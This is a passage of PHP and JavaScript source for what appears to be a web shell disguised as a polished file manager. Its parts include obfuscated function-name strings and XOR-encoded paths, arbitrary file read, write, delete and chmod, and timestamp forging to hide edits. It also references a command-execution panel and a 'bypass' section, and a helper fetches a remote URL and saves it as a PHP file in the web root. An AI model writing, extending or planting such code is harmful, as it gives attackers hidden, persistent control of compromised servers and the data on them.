($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = json_decode($raw, true); $filename = decode_char(trim($data['filename'] ?? '')); $mode = intval($data['mode'] ?? 0, 8); $recursive = !empty($data['recursive']); if ($filename === '' || $mode === 0) { die(json_encode(['success' => false])); } if ($recursive && is_dir($filename)) { fm_chmod_recursive($filename, $mode); $message['success'] = true; } else { $message['success'] = @chmod($filename, $mode); } die(json_encode($message)); } die(json_encode(['success' => false])); break; case 'md': // mkdir if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = json_decode($raw, true); $dirname = decode_char(trim($data['dirname'] ?? '')); if ($dirname === '') { die(json_encode(['success' => false])); } $message['success'] = @mkdir($dirname, 0755, true); die(json_encode($message)); } die(json_encode(['success' => false])); break; case 'bulk': // bulk actions: delete, touch, chmod if ($_SERVER['REQUEST_METHOD'] == 'POST') { $raw = file_get_contents("php://input"); $data = json_decode($raw, true); $act = $data['act'] ?? ''; $files = $data['files'] ?? []; $extra = $data['extra'] ?? ''; $recursive = !empty($data['recursive']); $results = []; foreach ($files as $enc) { $path = decode_char(trim($enc)); if ($path === '') continue; switch ($act) { case 'delete': $results[] = fm_remove_path($path, is_dir($path)); break; case 'touch': $ts = strtotime($extra); if ($ts) { if ($recursive && is_dir($path)) { fm_touch_recursive($path, $ts); } else { @touch($path, $ts); } clearstatcache(true, $path); } $results[] = (bool)$ts; break; case 'chmod': $mode = intval($extra, 8); if ($recursive && is_dir($path)) { fm_chmod_recursive($path, $mode); $results[] = true; } else { $results[] = @chmod($path, $mode); } break; } } die(json_encode(['success' => !in_array(false, $results, true), 'results' => $results])); } die(json_encode(['success' => false])); break; default: break; } function customize_read_file($file) { if (!file_exists($file) || filesize($file) < 1) { return ''; } $handle = fopen($file, 'r'); if ($handle) { $content = fread($handle, filesize($file)); if ($content) { return $content; } } $lines = file($file); if ($lines) { return implode($lines); } return show_file_contents()($file); } function show_file_contents() { $file = "file_"; $old = "get_"; $contents = "contents"; return "$file$old$contents"; } function show_text_area($content) { $filename = decode_char($_REQUEST['filename']); $filename_encoded = isset($_REQUEST['filename']) ? htmlspecialchars($_REQUEST['filename'], ENT_QUOTES, 'UTF-8') : ''; echo <<<HTML <div class="panel"> <p><a href='?' id='back_menu'>< Back</a></p> <br> <div class="file-path">$filename</div> <input type="hidden" id="edit-filename" value="$filename_encoded"> <textarea id="content" class="file-content">$content</textarea> <button type="submit" class="btn" id="textarea-handle">Save</button> </div> HTML; } function show_base_data() { $alvian = "base"; $nadir = "64_decode"; return "$alvian$nadir"; } function fm_write_file($file, $content) { if ($content === false || $content === null) { $content = ''; } $content = (string) $content; if (function_exists('fopen')) { $handle = @fopen($file, 'w'); if ($handle) { if (@fwrite($handle, $content) !== false) { fclose($handle); return file_exists($file); } fclose($handle); } } if (function_exists('file_put_contents')) { if (@file_put_contents($file, $content) !== false) { return file_exists($file); } } return false; } function fm_make_request($url) { if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); return $output; } return show_file_contents()($url); } function show_un() { $link = "link"; $unpad = "un"; return "$unpad$link"; } function fm_remove_path($path, $is_dir = false) { if (!file_exists($path)) { return true; } if ($is_dir && is_dir($path)) { $items = array_diff(scandir($path), array('.', '..')); foreach ($items as $item) { $full = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($full)) { fm_remove_path($full, true); } else { @unlink($full); } } return @rmdir($path); } return @unlink($path); } function main() { global $current_path; global $glob_file; $current_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : false; if (!$current_path) { setcookie("path", getcwd()); $current_path = getcwd(); } $path = str_replace('\\', '/', $current_path); $paths = explode('/', $path); echo '<div class="breadcrumb" id="path_div">'; foreach ($paths as $id => $pat) { if ($id == 0) { echo '<a href="#" path="/" onclick="change_path(this)">/</a>'; } if ($pat != '') { $tmp_path = implode('/', array_slice($paths, 0, $id + 1)); echo "<a href='#' path='$tmp_path' onclick='change_path(this)'>$pat/</a>"; } } echo "</div>"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> <style> :root { --bg: #1a1918; --surface: #282725; --surface-2: #32312d; --surface-3: #3d3b37; --border: #3e3d3a; --border-light: #54524e; --text: #edeceb; --text-muted: #a3a09b; --text-dim: #75726e; --accent: #da7756; --accent-dim: rgba(218, 119, 86, 0.12); --green: #4f9c6c; --green-dim: rgba(79, 156, 108, 0.12); --red: #d86262; --red-dim: rgba(216, 98, 98, 0.12); --folder: #e08a3f; --mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; --sans: 'JetBrains Mono', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; } *, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; } body { background: var(--bg); color: var(--text); font-family: var(--sans); font-size: 14.5px; font-weight: 300; line-height: 1.6; padding: 28px 32px; min-height: 100vh; -webkit-font-smoothing: antialiased; } a { text-decoration: none; color: inherit; } ::selection { background: rgba(200,169,110,0.2); color: var(--text); } /* 笏笏 Scrollbar 笏笏 */ ::-webkit-scrollbar { width: 6px; height: 6px; } ::-webkit-scrollbar-track { background: transparent; } ::-webkit-scrollbar-thumb { background: var(--border-light); border-radius: 8px; } .ml-2em { margin-right: 8px; } .ml-2am { margin-left: 2.4em; } .mr-10 { margin-right: 15px; } .white { color: var(--text); } .red { color: var(--red); } .green { color: var(--green); } /* 笏笏 Panel 笏笏 */ .panel { background: var(--surface); border: 1px solid var(--border); border-radius: 12px; padding: 24px; margin-bottom: 24px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); } .panel-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 18px; padding-bottom: 14px; border-bottom: 1px solid var(--border); } .panel-title { font-family: var(--mono); font-size: 15px; font-weight: 500; letter-spacing: 0.12em; text-transform: uppercase; color: var(--accent); } .blur-table { filter: blur(6px); opacity: 0.4; pointer-events: none; transition: filter 0.2s, opacity 0.2s; } /* 笏笏 Buttons 笏笏 */ .btn { background: var(--surface-2); color: var(--text); border: 1px solid var(--border); padding: 8px 16px; border-radius: 8px; cursor: pointer; font-family: var(--sans); font-size: 13px; font-weight: 500; letter-spacing: 0.02em; transition: all 0.15s ease; } .btn:hover { border-color: var(--accent); color: var(--accent); background: var(--surface-3); box-shadow: 0 2px 8px rgba(0, 0, 0, 0.15); } .btn-danger { border-color: var(--red); color: var(--red); background: transparent; } .btn-danger:hover { background: var(--red-dim); border-color: #a05a5a; color: #b06060; } /* 笏笏 Breadcrumb 笏笏 */ .breadcrumb { margin-bottom: 20px; font-family: var(--mono); font-size: 14px; color: var(--text-muted); background: var(--surface-2); padding: 10px 14px; border-radius: 8px; border: 1px solid var(--border); word-wrap: break-word; } .breadcrumb a { color: var(--text); text-decoration: none; transition: color 0.12s; } .breadcrumb a:hover { color: var(--accent); } /* 笏笏 File Editor 笏笏 */ .file-content { width: 100%; min-height: 340px; background: var(--bg); border: 1px solid var(--border); color: var(--text); padding: 16px 20px; font-family: var(--mono); font-size: 13px; line-height: 1.7; margin-bottom: 16px; border-radius: 10px; resize: vertical; outline: none; transition: border-color 0.15s, box-shadow 0.15s; } .file-content:focus { border-color: var(--accent); box-shadow: 0 0 0 2px var(--accent-dim); } .file-path { margin-bottom: 10px; color: var(--text-muted); font-family: var(--mono); font-size: 11px; } /* 笏笏 Table 笏笏 */ .file-table { width: 100%; border-collapse: collapse; font-size: 13px; } .file-table thead { position: sticky; top: 0; z-index: 1; } .file-table th { color: var(--text-muted); font-family: var(--mono); font-weight: 500; font-size: 10px; text-transform: uppercase; letter-spacing: 0.1em; padding: 9px 16px; text-align: left; background: var(--surface-2); border-bottom: 1px solid var(--border); white-space: nowrap; } .file-table th:nth-child(2), .file-table th:nth-child(3), .file-table th:nth-child(4) { text-align: center; } .file-table td { padding: 8px 16px; border-bottom: 1px solid var(--border); vertical-align: middle; color: var(--text); } .file-table td.tc { text-align: center; font-size: 12px; } .file-table tbody tr { transition: background 0.1s; } .file-table tbody tr:hover { background: var(--surface-2); } .file-table a { display: inline-flex; align-items: center; gap: 8px; color: var(--text); transition: color 0.12s; } .file-table a:hover { color: var(--accent); } .icon-folder { color: var(--folder); } /* 笏笏 Badges 笏笏 */ .badge-writable { display: inline-block; padding: 1px 8px; border-radius: 2px; font-family: var(--mono); font-size: 10px; letter-spacing: 0.05em; color: var(--green); background: var(--green-dim); border: 1px solid rgba(95,138,107,0.3); } .badge-readonly { display: inline-block; padding: 1px 8px; border-radius: 2px; font-family: var(--mono); font-size: 10px; letter-spacing: 0.05em; color: var(--text-dim); border: 1px solid var(--border); background: transparent; } .size-cell { font-family: var(--mono); font-size: 11.5px; font-variant-numeric: tabular-nums; color: var(--text-muted); } .date-cell { font-family: var(--mono); font-size: 11px; color: var(--text-muted); } .file-table td:first-child { max-width: 400px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .file-icon { color: var(--text-dim); } .file-actions { display: flex; gap: 5px; } .file-action-btn { background: none; border: none; color: var(--accent); cursor: pointer; font-size: 12px; } .file-action-btn:hover { text-decoration: underline; } /* 笏笏 Tools Panel 笏笏 */ .tools-panel { display: flex; gap: 8px; margin-bottom: 16px; align-items: center; } .tool { padding: 6px 14px; border-radius: 6px; cursor: pointer; border: 1px solid var(--border-light); background: transparent; color: var(--text-muted); font-family: var(--sans); font-size: 12px; font-weight: 500; transition: all 0.15s ease; } .tool:hover { border-color: var(--accent); color: var(--text); background: var(--surface-2); } /* 笏笏 Notification 笏笏 */ .notification { position: fixed; bottom: 24px; left: 24px; background: var(--surface-3); color: var(--text); border: 1px solid var(--border-light); border-left: 2px solid var(--accent); padding: 10px 18px; border-radius: 2px; z-index: 9999; font-family: var(--mono); font-size: 12px; letter-spacing: 0.03em; box-shadow: 0 8px 32px rgba(0,0,0,0.5); animation: slideUp 0.18s cubic-bezier(0.16,1,0.3,1); } @keyframes slideUp { from { transform: translateY(12px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .hidden { display: none; } /* 笏笏 Checkbox 笏笏 */ .checkbox-label { display: flex; align-items: center; gap: 7px; cursor: pointer; color: var(--text-muted); font-family: var(--mono); font-size: 11px; letter-spacing: 0.04em; text-transform: uppercase; transition: color 0.12s; } .checkbox-label:hover { color: var(--text); } .checkbox-label input[type="checkbox"] { appearance: none; width: 13px; height: 13px; border: 1px solid var(--border-light); border-radius: 1px; cursor: pointer; background: transparent; position: relative; transition: border-color 0.12s, background 0.12s; } .checkbox-label input[type="checkbox"]:checked { background: var(--accent); border-color: var(--accent); } .checkbox-label input[type="checkbox"]:checked::after { content: ''; position: absolute; left: 3px; top: 1px; width: 5px; height: 8px; border: 1.5px solid #0d0d0d; border-top: none; border-left: none; transform: rotate(45deg); } /* 笏笏 Context Menu 笏笏 */ .context-menu { display: none; position: fixed; z-index: 1000; background: var(--surface-3); border: 1px solid var(--border-light); border-radius: 8px; box-shadow: 0 8px 32px rgba(0,0,0,0.4); min-width: 160px; padding: 6px 0; font-family: var(--sans); } .context-menu.show { display: block; } .context-menu-item { padding: 7px 16px; cursor: pointer; color: var(--text-muted); font-family: var(--mono); font-size: 11.5px; letter-spacing: 0.03em; transition: background 0.1s, color 0.1s; } .context-menu-item:hover { background: var(--accent-dim); color: var(--accent); } .context-menu-item.disabled { opacity: 0.3; cursor: not-allowed; } .context-menu-item.disabled:hover { background: transparent; color: var(--text-muted); } /* 笏笏 Command Section 笏笏 */ .command-input { display: flex; gap: 8px; margin-bottom: 12px; } .command-input input { flex: 1; background: var(--bg); border: 1px solid var(--border); color: var(--text); padding: 7px 12px; border-radius: 2px; font-family: var(--mono); font-size: 12.5px; outline: none; transition: border-color 0.15s; } .command-input input::placeholder { color: var(--text-dim); } .command-input input:focus { border-color: var(--border-light); } .command-output { height: 200px; overflow-y: auto; background: var(--bg); border: 1px solid var(--border); color: var(--text); padding: 12px 14px; border-radius: 2px; margin-bottom: 12px; white-space: pre-wrap; font-family: var(--mono); font-size: 12px; line-height: 1.65; } /* 笏笏 Panel actions spacing 笏笏 */ .panel-actions { display: flex; gap: 8px; } /* 笏笏 Divider between byp and table 笏笏 */ #byp { background: transparent; border: none; padding: 0 0 14px 0; margin: 0; } </style> <script> function getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); } const fileIcon = `<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="#a0aec8" viewBox="0 0 16 16" style="vertical-align: -0.125em;"> <path d="M4 0h8a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V2a2 2 0 0 1 2-2z"/> </svg>`; const folderIcon = `<svg class='icon-folder' xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="#e8923a" viewBox="0 0 16 16" style="vertical-align: -0.125em;"> <path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .54-1.31zM2.19 4a1 1 0 0 0-.996.819l-.637 7A1 1 0 0 0 1.558 13h11.618a1 1 0 0 0 .996-.819l.637-7A1 1 0 0 0 13.81 4H2.19z"/> </svg>`; const loadFile = '<?php echo $glob_file; ?>' || getCookie('glob-file'); const homePath = '<?php echo getcwd(); ?>' const docRoot = '<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>'.replace(/\/$/, "") </script> <script> // Your existing JavaScript code remains the same // I've included the key parts that need to stay unchanged const urlObject = new URL(window.location.href) const baseUrl = `${urlObject.origin}${urlObject.pathname}` const essential_id = [ 'file-table', 'byp', 'path_div', 'bypass-section', 'tools', 'file-manager', 'tool-panel' ] const additional_id = [ 'com-section' ] function change_path(obj) { var path = obj.getAttribute("path"); localStorage.setItem("path", path) console.log("change to " + path); init(path); changePath(path); } function changePath(path) { const wrapper = document.getElementById('path_div'); wrapper.innerHTML = ''; const paths = path.split('/').filter(Boolean); let rootLink = document.createElement('a'); rootLink.href = "#"; rootLink.textContent = "/"; rootLink.setAttribute("onclick", "change_path(this)") rootLink.setAttribute("path", "/") wrapper.appendChild(rootLink); paths.forEach((pat, id) => { let tmpPath = '/' + paths.slice(0, id + 1).join('/'); let link = document.createElement('a'); link.href = "#"; link.setAttribute('path', tmpPath); link.textContent = `${pat}/`; link.setAttribute("onclick", "change_path(this)"); wrapper.appendChild(link); }); } function get_current_path() { var path_div = document.getElementById("path_div"); if (!path_div) return ""; var raw = path_div.textContent || ""; return raw.replace(/[\r\n]+/g, "").trim(); } function create_file() { var name = prompt("File name ", "hello.php") var current_path = get_current_path(); if (!name) { return; } var dir = prompt("Directory ", current_path) if (!dir) { return; } var fullPath = `${dir}/${name}`; // Open inline editor with empty content for new file var editorPanel = document.getElementById('inline-editor-panel'); var mainPanel = document.getElementById('main-file-panel'); document.getElementById('inline-editor-filename-display').textContent = fullPath; document.getElementById('inline-editor-filename-hidden').value = encodeXorString(fullPath); document.getElementById('inline-editor-content').value = ''; mainPanel.classList.add('hidden'); document.getElementById('path_div').classList.add('hidden'); editorPanel.classList.remove('hidden'); document.getElementById('inline-editor-content').focus(); } function refresh_path() { localStorage.clear(); init(); changePath(homePath) } var contextMenuTarget = null; function showContextMenu(e, path, isDir, rowEl, fileDisplayName, dateStr) { contextMenuTarget = { path: path, isDir: isDir, row: rowEl, fileDisplayName: fileDisplayName, date: dateStr || "" }; var menu = document.getElementById("context-menu"); menu.classList.add("show"); var x = e.clientX; var y = e.clientY; menu.style.left = x + "px"; menu.style.top = y + "px"; var rect = menu.getBoundingClientRect(); var vw = window.innerWidth; var vh = window.innerHeight; if (x + rect.width > vw) x = vw - rect.width - 4; if (y + rect.height > vh) y = vh - rect.height - 4; if (x < 4) x = 4; if (y < 4) y = 4; menu.style.left = x + "px"; menu.style.top = y + "px"; var editItem = menu.querySelector('[data-action="edit"]'); var viewItem = menu.querySelector('[data-action="view"]'); var extractItem = menu.querySelector('[data-action="extract"]'); if (isDir) { editItem.classList.add("disabled"); viewItem.classList.add("disabled"); if (extractItem) extractItem.style.display = "none"; } else { editItem.classList.remove("disabled"); viewItem.classList.remove("disabled"); if (extractItem) { if (fileDisplayName.toLowerCase().endsWith('.zip')) { extractItem.style.display = "block"; } else { extractItem.style.display = "none"; } } } } function hideContextMenu() { document.getElementById("context-menu").classList.remove("show"); contextMenuTarget = null; } function doContextExtract() { if (!contextMenuTarget) return; var path = contextMenuTarget.path; hideContextMenu(); var data = new FormData(); var cmd_func = localStorage.getItem("cmdFunc") data.append("filename", encodeXorString(path)); data.append("function", cmd_func) set_message("Extracting..."); post_url('extract', data, false).then(function(response) { safeParseResponse(response).then(function(result) { if (result.ok && result.data.success) { set_message("Extracted successfully!"); var currentObj = document.querySelector('a[path="' + get_current_path() + '"]'); init(get_current_path()); } else { set_message("Extraction failed."); } }); }); } function doContextView() { if (!contextMenuTarget || contextMenuTarget.isDir) { if (!contextMenuTarget) set_message("Right-click on a file or folder first"); hideContextMenu(); return; } var path = contextMenuTarget.path; if (path.includes(docRoot) && path !== docRoot) { var file_url = window.location.origin + path.replace(docRoot, '/'); window.open(file_url, '_blank'); } hideContextMenu(); } function doContextEdit() { if (!contextMenuTarget || contextMenuTarget.isDir) { if (!contextMenuTarget) set_message("Right-click on a file or folder first"); hideContextMenu(); return; } openInlineEditor(contextMenuTarget.path); hideContextMenu(); } function openInlineEditor(filePath) { set_message("Loading file..."); var encodedFilename = encodeXorString(filePath); post_url('rf', { filename: encodedFilename }).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok || !result.data.success) { set_message("ERROR: Could not read file"); return; } var content = result.data.encoded ? atob(result.data.content) : result.data.content; // Show inline editor panel var editorPanel = document.getElementById('inline-editor-panel'); var mainPanel = document.getElementById('main-file-panel'); document.getElementById('inline-editor-filename-display').textContent = filePath; document.getElementById('inline-editor-filename-hidden').value = encodedFilename; var ta = document.getElementById('inline-editor-content'); ta.value = content; mainPanel.classList.add('hidden'); document.getElementById('path_div').classList.add('hidden'); editorPanel.classList.remove('hidden'); ta.focus(); ta.setSelectionRange(0, 0); ta.scrollTop = 0; set_message("File loaded"); }); }); } function closeInlineEditor() { document.getElementById('inline-editor-panel').classList.add('hidden'); document.getElementById('main-file-panel').classList.remove('hidden'); document.getElementById('path_div').classList.remove('hidden'); // Reload the table so size/date reflect any saved changes var lastPath = getLastPath(); init(lastPath); } async function saveInlineEditor() { var content = document.getElementById('inline-editor-content').value; var encoded_content = utf8ToBase64(content); var filename = document.getElementById('inline-editor-filename-hidden').value; if (!filename) { set_message("ERROR: No filename"); return; } set_message("Saving..."); var data = { content: encoded_content, filename: filename }; post_url('r', data).then(function(resp) { safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message("Invalid response"); return; } if (result.data.success) { set_message("Saved!"); } else { set_message("Failed to save!"); } }); }); } function doContextDelete() { if (!contextMenuTarget) { set_message("Right-click on a file or folder first"); hideContextMenu(); return; } var path = contextMenuTarget.path; var isDir = contextMenuTarget.isDir; var rowEl = contextMenuTarget.row; var data = new FormData(); data.append("filename", encodeXorString(path)); data.append("is_dir", isDir ? "1" : "0"); post_url('ul', data, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid response"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var message = result.data; if (message.success) { set_message("Deleted!"); if (rowEl && rowEl.parentNode) rowEl.remove(); } else { set_message("Can not delete"); } }); }); hideContextMenu(); } function doContextTouch() { if (!contextMenuTarget) { set_message("Right-click on a file or folder first"); hideContextMenu(); return; } var path = contextMenuTarget.path; var oldDate = contextMenuTarget.date || ""; var newdate = prompt("Enter new date (e.g. " + (oldDate || "d-m-Y H:i:s") + "):", oldDate); if (!newdate || newdate === oldDate) { hideContextMenu(); return; } var data = new FormData(); data.append("date", newdate); data.append("filename", encodeXorString(path)); set_message("Loading"); post_url("to", data, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid response"); hideContextMenu(); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp = result.data; if (resp && resp.success) { set_message("Date modified!"); contextMenuTarget.row.setAttribute("data-date", newdate); var dateCell = contextMenuTarget.row.querySelector(".date-cell"); if (dateCell) dateCell.textContent = newdate; } else { set_message("ERROR: Failed to change modified date"); } }); }); hideContextMenu(); } function doContextRename() { if (!contextMenuTarget) { set_message("Right-click on a file or folder first"); hideContextMenu(); return; } var path = contextMenuTarget.path; var fileDisplayName = contextMenuTarget.fileDisplayName; var rowEl = contextMenuTarget.row; var dirPath = path.lastIndexOf('/') >= 0 ? path.substring(0, path.lastIndexOf('/')) : ''; var newname = prompt("Enter new name:", fileDisplayName); if (!newname || newname === fileDisplayName) { hideContextMenu(); return; } var formdata = new FormData(); formdata.append("new", newname); formdata.append("filename", encodeXorString(fileDisplayName)); formdata.append("path", dirPath); post_url('re', formdata, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid response"); hideContextMenu(); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp = result.data; if (resp.success) { set_message("Renamed!"); change_data_info(rowEl.querySelector('a[path]') || rowEl, newname); var newPath = (dirPath ? dirPath + "/" : "") + newname; rowEl.setAttribute("data-path", newPath); } else { set_message("ERROR: Failed to rename"); } }); }); hideContextMenu(); } function change_data_info(obj, new_name) { var nodeChild = (obj && obj.parentElement && obj.parentElement.parentNode) ? obj.parentElement.parentNode.getElementsByTagName("a") : []; var file_name = (obj && obj.getAttribute("path")) ? obj.getAttribute("path").split('/').pop().trim() : ''; for (var i in nodeChild) { var childObject = nodeChild[i]; if (childObject instanceof Element && childObject.hasAttribute("path")) { var childPath = childObject.getAttribute("path"); var childPathSplit = childPath.split('/'); childPathSplit[childPathSplit.length - 1] = new_name; if (childPathSplit.length == 1) { childObject.removeAttribute("path"); childObject.setAttribute("path", childPathSplit[0]); } else { var joinPath = childPathSplit.join('/'); childObject.removeAttribute("path"); childObject.setAttribute("path", joinPath); } var oldHref = childObject.getAttribute("href"); if (oldHref && oldHref.includes("filename=") && joinPath) { var new_path = encodeXorString(joinPath); var new_content = oldHref.replace(/filename=[^&]+/, 'filename=' + new_path); childObject.setAttribute("href", new_content); } if (childObject.hasAttribute("data-path")) { childObject.setAttribute("data-path", joinPath); } if (childObject.innerText.trim() == file_name) { childObject.innerHTML = childObject.innerHTML.replace(file_name, new_name); } } if (childObject instanceof Element && childObject.hasAttribute("href")) { childObject.setAttribute("href", (childObject.getAttribute("href") || '').replace(file_name, new_name)); } } } function create_table_data(name, size, is_writable, date, is_dir, perms) { var file_name = name.split('/').pop(); var table_row = document.createElement("tr"); table_row.setAttribute("data-path", name); table_row.setAttribute("data-is-dir", is_dir ? "1" : "0"); table_row.setAttribute("data-date", date); table_row.addEventListener("contextmenu", function(e) { e.preventDefault(); var currentPath = table_row.getAttribute("data-path") || name; var currentIsDir = table_row.getAttribute("data-is-dir") === "1"; var currentDate = table_row.getAttribute("data-date") || date; var currentFileName = currentPath.split('/').pop(); showContextMenu(e, currentPath, currentIsDir, table_row, currentFileName, currentDate); }); // Name cell var tdName = document.createElement("td"); if (is_dir) { tdName.innerHTML = `<a href='#' onclick='change_path(this)' path='${name}' class='ml-2em'>${folderIcon} <span>${file_name}</span></a>`; } else { tdName.innerHTML = `<a href='#' onclick='openInlineEditor(this.getAttribute("data-path")); return false;' data-path='${name}' path='${name}'>${fileIcon} <span>${file_name}</span></a>`; } table_row.appendChild(tdName); // Size cell var tdSize = document.createElement("td"); tdSize.setAttribute("class", "tc size-cell"); if (is_dir) { tdSize.innerHTML = `<span style="color:#555;font-size:0.85em;"></span>`; } else { var sizeNum = parseFloat(size); var sizeStr; if (isNaN(sizeNum)) { sizeStr = size; } else if (sizeNum >= 1024) { sizeStr = (sizeNum / 1024).toFixed(1) + ' MB'; } else if (sizeNum >= 1) { sizeStr = sizeNum.toFixed(1) + ' KB'; } else if (sizeNum > 0) { // size is in KB (from PHP: filesize/1024), convert back to bytes sizeStr = Math.round(sizeNum * 1024) + ' B'; } else { sizeStr = '0 B'; } tdSize.innerHTML = sizeStr; } table_row.appendChild(tdSize); // Permissions cell var tdPerm = document.createElement("td"); tdPerm.setAttribute("class", "tc"); if (is_writable) { tdPerm.innerHTML = `<span class="badge-writable">${perms || 'Writable'}</span>`; } else { tdPerm.innerHTML = `<span class="badge-readonly">${perms || 'Read-only'}</span>`; } table_row.appendChild(tdPerm); // Date cell (plain text; use right-click > Touch to change) var tdDate = document.createElement("td"); tdDate.setAttribute("class", "tc date-cell"); tdDate.textContent = date; table_row.appendChild(tdDate); document.getElementById("data_table").appendChild(table_row); } function ask_url_path() { var url = prompt("URL : ") var file_path = prompt("File Save : ", `${docRoot}/hello.php`) if(!url || !file_path){ return false; } return { url: url, file_path: file_path } } function touch_file(obj) { var filename = obj.getAttribute("path"); var old_date = obj.getAttribute("value"); var newdate = prompt("Enter your new date : ", old_date) if (newdate && newdate !== old_date) { var data = new FormData(); data.append("date", newdate); data.append("filename", encodeXorString(filename)); set_message("Loading"); post_url('to', data, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid response"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp = result.data; if (resp.success) { set_message("Date modified!"); obj.innerText = newdate; obj.setAttribute("value", newdate); } else { set_message("ERROR: Failed to change modified date"); } }); }); } } function rename_file(obj) { var current_filename = obj.getAttribute("path") var newname = prompt("Enter your new name : ", current_filename) if (newname && newname !== current_filename) { var formdata = new FormData(); formdata.append("new", newname); formdata.append("filename", encodeXorString(current_filename)) formdata.append("path", get_current_path()); post_url('re', formdata, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid response"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var resp = result.data; if (resp.success) { set_message("Renamed!"); change_data_info(obj, newname); var parentRow = obj.closest('tr'); if (parentRow) { var currentPath = parentRow.getAttribute('data-path') || ''; var dirPath = currentPath.lastIndexOf('/') >= 0 ? currentPath.substring(0, currentPath.lastIndexOf('/')) : ''; var newPath = (dirPath ? dirPath + "/" : "") + newname; parentRow.setAttribute('data-path', newPath); } } else { set_message("ERROR: Failed to rename"); } }); }); } } function delete_file(obj) { var filename = obj.getAttribute("path") var data = new FormData(); data.append("filename", encodeXorString(filename)); post_url('ul', data, false).then(function(response) { if (!response.ok) { set_message("ERROR: Invalid response"); return; } safeParseResponse(response).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var message = result.data; if (message.success) { set_message("File Deleted!"); obj.parentElement.parentNode.remove(); } else { set_message("Can not delete"); } }); }); } function post_url(action, data, parse_json = true) { if (parse_json) { data = JSON.stringify(data); } var action = '?action=' + action; var opts = { method: "POST", body: data }; if (parse_json) { opts.headers = { 'Content-Type': 'application/json' }; } var response = fetch(action, opts); return response; } function safeParseResponse(response) { return response.text().then(function(text) { if (!text || typeof text !== 'string') return { ok: false }; var s = text.trim(); try { var j = JSON.parse(s); return { ok: true, data: j }; } catch (_) {} var a = s.indexOf('{'); var b = s.lastIndexOf('}'); if (a >= 0 && b > a) { try { var j = JSON.parse(s.substring(a, b + 1)); return { ok: true, data: j }; } catch (_) {} } return { ok: false }; }).catch(function() { return { ok: false }; }); } function stringToHex(str) { return str.split('') .map(char => char.charCodeAt(0).toString(16).padStart(2, '0')) .join(''); } function hexToString(hex) { let str = ''; for (let i = 0; i < hex.length; i += 2) { str += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return str; } function xorEncryptDecrypt(input, key) { if (key == null) key = String.fromCharCode(0x31, 0x32); var out = '', k = key.length, n = input.length, i; for (i = 0; i < n; i++) { out += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i % k)); } return out; } function format_date_local(ts) { var d = new Date(ts); var dd = String(d.getDate()).padStart(2, '0'); var mm = String(d.getMonth() + 1).padStart(2, '0'); var yyyy = d.getFullYear(); var hh = String(d.getHours()).padStart(2, '0'); var min = String(d.getMinutes()).padStart(2, '0'); var ss = String(d.getSeconds()).padStart(2, '0'); return dd + '-' + mm + '-' + yyyy + ' ' + hh + ':' + min + ':' + ss; } function insert_row_sorted(newRow, fileName, isDir) { var tbody = document.getElementById('data_table'); var rows = Array.from(tbody.querySelectorAll('tr')); var inserted = false; var nameLower = fileName.toLowerCase(); for (var i = 0; i < rows.length; i++) { var rowIsDir = rows[i].getAttribute('data-is-dir') === '1'; var rowPath = rows[i].getAttribute('data-path') || ''; var rowName = rowPath.split('/').pop().toLowerCase(); if (!isDir && rowIsDir) continue; if (isDir && !rowIsDir) { tbody.insertBefore(newRow, rows[i]); inserted = true; break; } if (nameLower < rowName) { tbody.insertBefore(newRow, rows[i]); inserted = true; break; } } if (!inserted) tbody.appendChild(newRow); } function process_upload(data, file_upload) { var current_path = localStorage.getItem("path") || get_current_path(); set_message("Processing!") post_url('up', data, false).then(function(resp) { if (!resp.ok) { set_message("Error: Invalid status code"); return; } safeParseResponse(resp).then(function(result) { if (!result.ok) { set_message("Invalid response (not JSON)"); return; } var j = result.data; if (j.success) { var filesize = (file_upload.size / 1024).toFixed(2); var last_modified = format_date_local(file_upload.lastModified); var name = current_path + 